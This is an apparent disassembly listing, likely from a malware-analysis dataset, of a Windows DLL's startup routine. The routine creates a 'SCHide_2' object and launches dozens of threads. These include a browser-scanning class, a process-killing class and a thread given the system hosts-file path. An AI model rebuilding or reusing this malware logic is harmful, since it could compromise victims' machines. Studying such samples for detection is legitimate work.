Function at 0x180029230
Capabilities:
Create thread
Terminate process

Disassembly:
sub rsp, 0x38
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
lea rcx, [0x180029830]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.180028f20
test eax, eax
je 0x18002925e
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x30], rdi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.1800524b0
call fcn.1800291a0
mov dword [0x1800a50f4], eax
call fcn.18000dcf0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1800a4fec], eax
call fcn.180029980
xor esi, esi
lea r8, [0x180002b60]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x1800a4498], esi
je 0x180029312
lea rcx, str.SCHide_2
xor r8d, r8d
mov edx, 0x1f4
call fcn.18004f030
mov qword [0x1800a6f30], rax
test rax, rax
jne 0x1800292f9
lea r8d, [rsi + 1]
lea rcx, str.SCHide_2
mov edx, 0x1f4
call fcn.18004f030
mov qword [0x1800a6f30], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, qword [0x1800a6f30]
test rcx, rcx
je 0x180029312
mov edx, eax
call fcn.18004f370
call fcn.180029dc0
mov dword [reloc.WS2_32.dll_accept], 1
call fcn.180010870
call fcn.1800110f0
call fcn.18002a750
xor ecx, ecx
call fcn.180035b50
lea r8, [0x180001080]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x1800a2ea8], esi
je 0x18002937d
lea r9, str.C:WindowsSystem32driversetchosts
lea r8, [0x180034300]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x1800a2a88], esi
je 0x1800293ae
lea rcx, [0x1800a5538]
call fcn.180034aa0
lea r8, [0x180024770]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x1800a2a84], esi
je 0x1800293df
lea rcx, [0x1800a4cb0]
call fcn.180034aa0
lea r8, [0x1800244d0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x1800a3508], esi
je 0x180029404
lea r8, [0x180008580]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x1800a3f6c], esi
je 0x180029429
lea r8, [0x1800014e0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x1800a31d4], esi
je 0x180029456
cmp dword [0x1800a394c], esi
je 0x180029456
lea r8, [0x1800240e0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x1800a3614], esi
je 0x18002947b
lea r8, [0x180003d10]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x1800a3a58], esi
je 0x1800294a0
lea r8, [0x180003f20]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x1800a407c], esi
je 0x1800294c5
lea r8, [0x180024a10]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x1800a3838], esi
je 0x1800294ea
lea r8, [0x1800017f0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x1800a383c], esi
je 0x18002952c
lea r8, [0x180001c00]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea r8, [0x180001f90]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x1800a3944], esi
je 0x180029551
lea r8, [0x180002320]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x1800a2fb4], esi
jne 0x180029579
cmp dword [reloc.WS2_32.dll_accept], esi
jne 0x180029579
cmp dword [reloc.WS2_32.dll_accept], esi
jne 0x180029579
cmp dword [0x1800a30c8], esi
jne 0x180029579
cmp dword [reloc.WS2_32.dll_accept], esi
je 0x1800295d7
mov ecx, 0x18
mov qword [rsp + 0x40], rbx
call fcn.180051260
mov rbx, rax
test rax, rax
je 0x1800295d2
lea rdi, [rax + 0x10]
mov qword [rax + 8], rsi
lea rax, vtable.CLocalBrowsersScan.0
lea rcx, [0x18009f660]
mov dword [rdi], esi
mov qword [rbx], rax
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea r8, [0x180028f10]
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx + 8], rax
mov rbx, qword [rsp + 0x40]
cmp dword [reloc.WS2_32.dll_accept], esi
jne 0x18002960c
lea rcx, str.runme.exe
call fcn.180034970
test eax, eax
je 0x18002960c
lea r8, [0x180003d50]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x1800a48a0]
repne scasb al, byte [rdi]
not rcx
dec rcx
cmp rcx, 2
jbe 0x18002966c
lea ecx, [rax + 0x18]
call fcn.180051260
mov rdi, rax
test rax, rax
je 0x18002966c
lea rcx, [rax + 0x10]
mov qword [rax + 8], rsi
lea rax, vtable.CKillProThread.0
mov qword [rsp + 0x28], rcx
mov dword [rcx], esi
lea r8, [0x180028f10]
xor ecx, ecx
mov r9, rdi
xor edx, edx
mov qword [rdi], rax
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rdi + 8], rax
mov rdi, qword [rsp + 0x30]
cmp dword [0x1800a2fb8], esi
jne 0x18002969f
lea r8, [0x180041d40]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.18002b1a0
cmp dword [reloc.WS2_32.dll_accept], esi
je 0x1800296c9
lea r8, [0x18000ece0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.180022b10
lea r8, [0x180008010]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [reloc.WS2_32.dll_accept], esi
je 0x180029710
lea r8, [0x180009b80]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x1800a4edc], esi
je 0x180029735
lea r8, [0x18000a180]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [reloc.WS2_32.dll_accept], esi
je 0x18002975a
lea r8, [0x18000a210]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x1800a3618], esi
je 0x180029767
call fcn.18002b3a0
cmp dword [reloc.WS2_32.dll_accept], esi
je 0x180029774
call fcn.18002b830
lea r8, [0x18002c880]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [reloc.WS2_32.dll_accept], esi
je 0x1800297bf
lea r8, [0x18002b140]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [reloc.WS2_32.dll_accept], esi
je 0x1800297e4
lea r8, [0x180012cc0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x1800a3724], esi
je 0x180029809
lea r8, [0x180001260]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [reloc.WS2_32.dll_accept], 0
mov rsi, qword [rsp + 0x48]
je 0x180029820
call fcn.18002ef80
int3
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180029820